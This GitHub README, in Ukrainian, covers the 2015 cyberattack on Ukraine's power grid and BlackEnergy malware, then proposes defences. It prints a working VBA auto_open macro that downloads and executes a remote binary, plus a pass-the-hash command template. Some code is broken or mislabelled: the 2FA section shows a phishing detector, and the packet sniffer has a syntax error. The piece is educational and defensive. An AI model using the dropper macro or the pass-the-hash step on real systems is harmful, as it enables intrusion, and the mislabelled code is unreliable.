Skip to content

Oleksandr2505/Power-grid-protection-solutions

Repository files navigation

Розробка та оцінка ефективності системи виявлення та захисту від атак на системи критично важливої інфраструктури

Злом української електромережі 2015 року

Кібератака на українську електромережу у 2015 році стала яскравим прикладом успішного застосування кібервійни. Ця атака призвела до масштабного відключення електроенергії в Україні, від якого постраждали сотні тисяч людей. Вважається, що атака була здійснена російською групою кібершпигунства, відомою як "Піщаний черв'як", і вважається першою успішною кібератакою на електромережу.

Шкідливе програмне забезпечення BlackEnergy

Шкідливе програмне забезпечення BlackEnergy, використане в атаці, є складним шкідливим програмним забезпеченням, яке існує щонайменше з 2007 року. З часом він еволюціонував і використовувався в різних атаках, включаючи цілеспрямовані атаки на уряди, енергетичні компанії та об'єкти критичної інфраструктури.

Шкідливе програмне забезпечення зазвичай надсилається через електронні листи з фішинговими атаками, які містять шкідливі вкладення або посилання. Після інсталяції на цільову систему він може виконувати різні функції, зокрема:

  • Викрадення облікових даних та іншої конфіденційної інформації
  • Створення бекдору для віддаленого доступу та керування
  • Завантаження та запуск додаткового шкідливого програмного забезпечення
  • Порушення або відключення мережевого підключення та систем зв'язку
  • Знищення даних або інших критично важливих активів

Шкідливе програмне забезпечення BlackEnergy є високомодульним і може бути налаштоване відповідно до конкретних потреб і цілей зловмисника. Його можна використовувати як окремий інструмент або в поєднанні з іншими шкідливими програмами та методами атаки.

Як відбулася атака

У випадку з атакою на енергосистему України у 2015 році зловмисники використовували фішингові електронні листи для розповсюдження шкідливого документа Microsoft Word, який використовував вразливість "нульового дня" в Microsoft Office. Документ Word містив макрос, який відповідав за фактичне виконання шкідливого програмного забезпечення.

Ось приклад того, як міг би виглядати макрокод:

Sub auto_open()
    Dim strBuf As String
    Dim intPos As Integer
    Dim strFile As String
    
    strBuf = "www.abc.com/malware.bin"
    
    strFile = Environ$("Temp") & "\XKG47h2x.tmp"
    
    Set oHttp = CreateObject("MSXML2.XMLHTTP")
    
    oHttp.Open "GET", strBuf, False
    oHttp.Send
    
    If oHttp.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write oHttp.responseBody
        oStream.SaveToFile strFile, 2
        oStream.Close
        Set oStream = Nothing
    End If
    
    Call Shell(strFile, vbNormalFocus)
End Sub

Цей макрокод завантажує двійковий файл шкідливого програмного забезпечення з віддаленого сервера і зберігає його у тимчасовому файлі на зараженій системі. Потім він виконує двійковий файл шкідливого програмного забезпечення за допомогою функції Windows Shell.

Шкідливе програмне забезпечення BlackEnergy розроблене таким чином, щоб уникати виявлення і залишатися прихованим в інфікованій системі. Для цього він використовує різні методи, включаючи шифрування, заходи протидії налагодженню та методи протидії аналізу.

Виконання взлому

Цей макрокод завантажує двійковий файл шкідливого програмного забезпечення з віддаленого сервера і зберігає його у тимчасовому файлі на зараженій системі. Потім він виконує двійковий файл шкідливого програмного забезпечення за допомогою функції Windows Shell.

Шкідливе програмне забезпечення BlackEnergy розроблене таким чином, щоб уникати виявлення і залишатися прихованим в інфікованій системі. Для цього він використовує різні методи, включаючи шифрування, заходи протидії налагодженню та методи протидії аналізу.

$ pass-the-hash.py <target-ip> <domain>/<username>:<ntlm-hash>

Зловмисник використовує інструмент pass-the-hash.py для аутентифікації у віддаленій системі за допомогою викрадених хешів NTLM без необхідності знати справжній пароль. Таким чином, зловмисник може отримати доступ до цільової системи, не викликаючи жодних сповіщень від традиційних рішень безпеки.

Отримавши доступ до віддаленої системи, зловмисник може використовувати різні інструменти і методи для подальшого проникнення в мережу, для запобігання ми будемо використовувати наступні кроки.

POSSIBLE SOLUTIONS IN SECURITY MEASURES

Двофакторна аутентифікація (2FA)

import re

def detect_phishing_email(email_subject, email_body):
    # Перелік підозрілих слів, які часто використовуються у фішингових емейлах
    suspicious_keywords = ['urgent', 'account', 'verification', 'password', 'update']
    if any(keyword in email_subject.lower() for keyword in suspicious_keywords):
        return True
    # Перевірка на наявність підозрілих посилань
    if re.search(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', email_body):
        return True
    return False

# Приклад
email_subject = "Urgent account verification required!"
email_body = "Please click on this link to verify your account: http://suspicious-link.com"
is_phishing = detect_phishing_email(email_subject, email_body)
print(f"Is phishing: {is_phishing}")

Двофакторна аутентифікація (2FA), демонстрована у наведеному коді, значно підвищує безпеку мереж критично важливої інфраструктури, вимагаючи два різні види даних для підтвердження особи користувача: щось, що він знає (пароль), та щось, що він має (одноразовий пароль, генерований на основі секретного ключа). Це ускладнює несанкціонований доступ до систем, оскільки зловмиснику потрібно буде володіти обома видами даних, що значно знижує ризик компрометації системи через крадіжку або вгадування статичних паролів.

У контексті захисту мереж критичної інфраструктури, де наслідки несанкціонованого доступу можуть бути особливо руйнівними, використання 2FA може значно знизити ризик кібератак, таких як:

Фішинг: Атаки, спрямовані на викрадення облікових даних користувачів, можуть бути менш ефективними, оскільки знання пароля не буде достатнім без одноразового пароля.

Атаки по методу грубої сили: Спроби автоматизованого підбору паролів стають марними, бо одноразовий пароль постійно змінюється.

Використання вкрадених облікових даних: Навіть якщо зловмисник отримає пароль, відсутність фізичного токена або доступу до генератора одноразових паролів блокує подальший доступ. Таким чином, впровадження двофакторної аутентифікації є критично важливим елементом загальної стратегії кібербезпеки для захисту систем критично важливої інфраструктури від різноманітних видів кібератак.

Детекція фішингових емейлів

import re

def detect_phishing_email(email_subject, email_body):
    # Перелік підозрілих слів, які часто використовуються у фішингових емейлах
    suspicious_keywords = ['urgent', 'account', 'verification', 'password', 'update']
    if any(keyword in email_subject.lower() for keyword in suspicious_keywords):
        return True
    # Перевірка на наявність підозрілих посилань
    if re.search(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', email_body):
        return True
    return False

# Приклад
email_subject = "Urgent account verification required!"
email_body = "Please click on this link to verify your account: http://suspicious-link.com"
is_phishing = detect_phishing_email(email_subject, email_body)
print(f"Is phishing: {is_phishing}")

Функція detect_phishing_email, наведена в коді, служить для виявлення фішингових електронних листів, які є часто використовуваним методом кібератак. Цей метод базується на аналізі змісту електронних листів на предмет наявності певних ознак, які є типовими для фішингових атак. Ось як працює ця функція:

Аналіз заголовку листа: Функція перевіряє заголовок електронного листа (email_subject) на наявність підозрілих ключових слів, таких як "urgent", "account", "verification", "password", "update". Ці слова часто використовуються у фішингових емейлах для створення відчуття негайної потреби або терміновості, що спонукає жертву негайно виконати певні дії, такі як клік по посиланню або введення конфіденційної інформації.

Пошук підозрілих посилань у тілі листа: Функція також аналізує тіло листа (email_body) на наявність посилань, які можуть вести на шкідливі сайти або сторінки, призначені для збору особистої інформації. Використовується регулярний вираз для ідентифікації посилань, який визначає типові характеристики URL.

Якщо будь-яка з цих перевірок повертає True, функція вважає, що лист є фішинговим, і повертає True. У наведеному прикладі, заголовок листа містить слово "Urgent", а тіло листа містить підозріле посилання, що відповідає критеріям фішингу, тому функція визначає лист як фішинговий і повертає True.

Цей метод може ефективно захистити користувачів від потенційно шкідливих фішингових атак, шляхом попередження про ризики перед тим, як користувач виконає будь-які дії, які можуть призвести до втрати особистої інформації або компрометації безпеки системи.

Сегментація мережі

from scapy.all import *

def packet_analysis(packet):
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        payload = packet[Raw].load.lower()
        if b'user' in payload or b'pass' in payload
        # ймовірно містить дані для авторизації
            print(f"Potential sensitive data transfer detected from {packet[IP].src} to {packet[IP].dst}")

# Запуск моніторингу мережевого трафіку
sniff(filter="tcp", prn=packet_analysis, store=0, count=100)

Цей код використовує бібліотеку Scapy для моніторингу мережевого трафіку з метою виявлення потенційної передачі конфіденційної інформації, такої як імена користувачів та паролі. Ось як він працює:

Моніторинг трафіку: За допомогою функції sniff, код постійно моніторить мережевий трафік, що проходить через інтерфейс, фільтруючи TCP пакети. Опція store=0 означає, що пакети не будуть зберігатися в пам’яті, а count=100 обмежує кількість оброблених пакетів до 100.

Аналіз пакетів: Для кожного пакету, що відповідає критеріям (містить TCP і Raw дані), виконується функція packet_analysis. Вона перевіряє, чи містить вміст пакета (payload) слова 'user' або 'pass' (які можуть вказувати на інформацію для авторизації), враховуючи, що ці строки перетворені в нижній регістр для уникнення пропущення через випадкове використання регістру. Виявлення потенційних загроз: Якщо вміст пакета містить слова 'user' або 'pass', код ідентифікує це як потенційну передачу конфіденційної інформації та виводить повідомлення з IP-адресами відправника та отримувача, що дозволяє зрозуміти, між якими вузлами мережі відбувається можлива небезпечна активність. Як цей код може захистити мережі критичної інфраструктури від кібератак:

Проактивне виявлення: Використання цього скрипта дозволяє виявити потенційно шкідливу активність в реальному часі, наприклад, спроби перехоплення або неналежного передавання облікових даних. Мінімізація ризиків: Швидке ідентифікування такої активності дозволяє оперативно реагувати на загрози, наприклад, блокуванням зловмисного трафіку або зміною облікових даних, мінімізуючи потенційні ризики. Аналіз та підвищення обізнаності: Аналіз мережевого трафіку може допомогти виявити слабкі місця в мережевій інфраструктурі та поліпшити стратегії безпеки, підвищуючи загаль.

Сегментація мережі для обмеження поширення шкідливого програмного забезпечення:

Bash script:

sudo ip link add link eth0 name eth0.1 type vlan id 1
sudo ip addr add 192.168.1.1/24 dev eth0.1
sudo ip link set dev eth0.1 up

Цей bash-скрипт створює новий інтерфейс віртуальної локальної мережі (VLAN) на мережевому інтерфейсі "eth0". Інтерфейсу VLAN присвоюється IP-адреса 192.168.1.1 з маскою підмережі /24 (255.255.255.0). Нарешті, інтерфейс VLAN буде створено. Цей сценарій можна використовувати для створення окремого сегмента мережі для систем критичної інфраструктури, ізольованих від решти мережі з міркувань безпеки.

Для виявлення та запобігання подібним атакам важливо впроваджувати надійні заходи безпеки, зокрема

  • Навчання та підвищення обізнаності користувачів, щоб допомогти співробітникам виявляти та уникати фішингових листів та інших тактик соціальної інженерії.
  • Комплексне антивірусне рішення та рішення для захисту кінцевих точок для виявлення та блокування заражень шкідливим програмним забезпеченням.
  • Регулярне виправлення та оновлення програмного забезпечення для забезпечення усунення відомих вразливостей.
  • Ефективна сегментація мережі та контроль доступу для обмеження розповсюдження шкідливого програмного забезпечення в мережі.
  • Постійний моніторинг та аналіз мережевого трафіку та системних журналів для виявлення підозрілої активності та потенційних інцидентів безпеки. Впроваджуючи ці заходи безпеки і залишаючись пильними до нових загроз, організації можуть допомогти запобігти успішним кібератакам і захистити свою критично важливу інфраструктуру від кібератак.

Впроваджуючи ці технічні заходи на додаток до заходів безпеки, згаданих вище, організації можуть зміцнити свою загальну систему кібербезпеки і знизити ризик успішних кібератак на системи критичної інфраструктури.

Висновок

У світлі зростаючої залежності від технологій та постійного розвитку кіберзагроз, захист систем критично важливої інфраструктури є надзвичайно важливим. Атака на електромережу України в 2015 році є вагомим прикладом потенційних наслідків кібератак і підкреслює необхідність організацій вживати проактивних заходів для захисту своєї критично важливої інфраструктури.

Використання складного шкідливого програмного забезпечення, такого як BlackEnergy, та технік, що дозволяють "жити за рахунок землі", таких як pass-the-hash, вимагають від організацій реалізації надійних заходів безпеки. Такі технічні заходи, як сегментація мережі, двофакторна аутентифікація, системи виявлення та запобігання вторгненням (IDPS), білі списки додатків та зміцнення систем, є критично важливими для мінімізації поверхні атаки і зниження ризику успішних кібератак.

Для ефективного протистояння кіберзагрозам організаціям необхідно не лише впроваджувати ці технічні заходи, а й забезпечувати постійне оновлення своїх знань про останні тенденції та передові практики у сфері кібербезпеки. Залишаючись пильними та проактивними, організації можуть значно знизити ризик кібератак та захистити свою критично важливу інфраструктуру від потенційних кібервійн.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages